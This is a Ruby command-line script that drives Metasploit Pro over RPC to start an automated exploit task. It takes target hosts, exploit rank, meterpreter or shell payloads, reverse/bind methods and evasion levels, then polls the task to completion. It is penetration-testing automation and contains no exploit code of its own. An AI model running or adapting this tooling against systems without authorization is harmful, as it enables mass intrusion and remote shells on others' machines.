#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'msfrpc-client'
require 'rex/ui'

def usage(ropts)
  $stderr.puts ropts

  if @rpc and @rpc.token
    wspaces = @rpc.call("pro.workspaces") rescue {}
    if wspaces.keys.length > 0
      $stderr.puts "Active Projects:"
      wspaces.each_pair do |k,v|
        $stderr.puts "\t#{k}"
      end
    end
  end
  $stderr.puts ""
  exit(1)
end

opts = {}
opts[:blacklist]      = ''
opts[:whitelist_ports] = ''
opts[:blacklist_ports] = ''
opts[:exploit_timeout] = 5
opts[:limit_sessions] = true
opts[:ignore_fragile_devices] = true
opts[:filter_by_os]   = true
opts[:only_match]     = false
opts[:match_vulns]    = true
opts[:match_ports]    = true
opts[:payload_method] = "auto"
opts[:payload_type]   = "meterpreter"
opts[:payload_ports]  = "4000-5000"
opts[:evasion_level_tcp] = 0
opts[:evasion_level_app] = 0
opts[:module_filter] = ''

# Parse script-specific options
parser = Msf::RPC::Client.option_parser(opts)
parser.separator('Exploit Specific Options:')

parser.on("--project PROJECT") do |x|
  opts[:project] = x
end

parser.on("--targets TARGETS") do |x|
  opts[:targets] = x
end

parser.on("--speed SPEED") do |x|
  opts[:speed] = x
end

parser.on("--minimum-rank RANK") do |x|
  opts[:rank] = x
end

parser.on("--blacklist BLACKLIST (optional)") do |x|
  opts[:blacklist] = x
end

parser.on("--whitelist-ports PORTS (optional)") do |x|
  opts[:whitelist_ports] = x
end

parser.on("--blacklist-ports PORTS (optional)") do |x|
  opts[:blacklist_ports] = x
end

parser.on("--exploit-timeout TIMEOUT (optional)") do |x|
  opts[:exploit_timeout] = x
end

parser.on("--limit-sessions (optional)") do |x|
  opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false )
end

parser.on("--ignore-fragile-devices (optional)") do |x|
  opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false )
end

parser.on("--filter-by-os (optional)") do |x|
  opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false )
end

parser.on("--dry-run (optional)") do |x|
  opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false )
end

parser.on("--match-vulns (optional)") do |x|
  opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false )
end

parser.on("--match-ports (optional)") do |x|
  opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false )
end

parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x|
  opts[:payload_method] = x
end

parser.on("--payload-type METERPRETER|SHELL (optional)") do |x|
  opts[:payload_type] = x
end

parser.on("--payload-ports PORTS (optional)") do |x|
  opts[:payload_ports] = x
end

parser.on("--evasion-level-tcp LEVEL (optional)") do |x|
  opts[:evasion_level_tcp] = x
end

parser.on("--evasion-level-app LEVEL (optional)") do |x|
  opts[:evasion_level_app] = x
end

parser.on("--module-filter FILTER (optional)") do |x|
  opts[:module_filter] = x
end

parser.on("--help") do
  $stderr.puts parser
  exit(1)
end

parser.separator('')
parser.parse!(ARGV)

@rpc  = Msf::RPC::Client.new(opts)

if not @rpc.token
  $stderr.puts "Error: Invalid RPC server options specified"
  $stderr.puts parser
  exit(1)
end

# Store the user's settings
project       = opts[:project]  || usage(parser)
targets       = opts[:targets]  || usage(parser)
rank        = opts[:rank]    || usage(parser)
speed        = opts[:speed]    || usage(parser)
blacklist      = opts[:blacklist]
whitelist_ports      = opts[:whitelist_ports]
blacklist_ports      = opts[:blacklist_ports]
exploit_timeout      = opts[:exploit_timeout]
limit_sessions      = opts[:limit_sessions]
ignore_fragile_devices    = opts[:ignore_fragile_devices]
filter_by_os      = opts[:filter_by_os]
only_match      = opts[:only_match]
match_vulns      = opts[:match_vulns]
match_ports      = opts[:match_ports]
payload_method      = opts[:payload_method]
payload_type      = opts[:payload_type]
payload_ports      = opts[:payload_ports]
evasion_level_tcp    = opts[:evasion_level_tcp]
evasion_level_app    = opts[:evasion_level_app]
module_filter      = opts[:module_filter]
#===

# Get the default user
user       = @rpc.call("pro.default_admin_user")['username']

# Create the task object with all options
task     = @rpc.call("pro.start_exploit", {
        'workspace'      => project,
        'username'       => user,
        'DS_WHITELIST_HOSTS'    => targets,
        'DS_BLACKLIST_HOSTS'    => blacklist,
        'DS_WHITELIST_PORTS'      => whitelist_ports,
        'DS_BLACKLIST_PORTS'    => blacklist_ports,
        'DS_MinimumRank'     => rank,
        'DS_EXPLOIT_SPEED'    => speed,
        'DS_EXPLOIT_TIMEOUT'    => exploit_timeout,
        'DS_LimitSessions'    => limit_sessions,
        'DS_IgnoreFragileDevices'   => ignore_fragile_devices,
        'DS_FilterByOS'      => filter_by_os,
        'DS_OnlyMatch'      => only_match,
        'DS_MATCH_VULNS'    => match_vulns,
        'DS_MATCH_PORTS'    => match_ports,
        'DS_PAYLOAD_METHOD'    => payload_method,
        'DS_PAYLOAD_TYPE'    => payload_type,
        'DS_PAYLOAD_PORTS'    => payload_ports,
        'DS_EVASION_LEVEL_TCP'    => evasion_level_tcp,
        'DS_EVASION_LEVEL_APP'    => evasion_level_app,
        'DS_ModuleFilter'    => module_filter
})

puts "DEBUG: Running task with #{task.inspect}"

if not task['task_id']
  $stderr.puts "[-] Error starting the task: #{task.inspect}"
  exit(0)
end

puts "[*] Creating Task ID #{task['task_id']}..."
while true
  select(nil, nil, nil, 0.50)

  stat = @rpc.call("pro.task_status", task['task_id'])

  if stat['status'] == 'invalid'
    $stderr.puts "[-] Error checking task status"
    exit(0)
  end

  info = stat[ task['task_id'] ]

  if not info
    $stderr.puts "[-] Error finding the task"
    exit(0)
  end

  if info['status'] == "error"
    $stderr.puts "[-] Error generating report: #{info['error']}"
    exit(0)
  end

  break if info['progress'] == 100
end

$stdout.puts "[+] Task Complete!"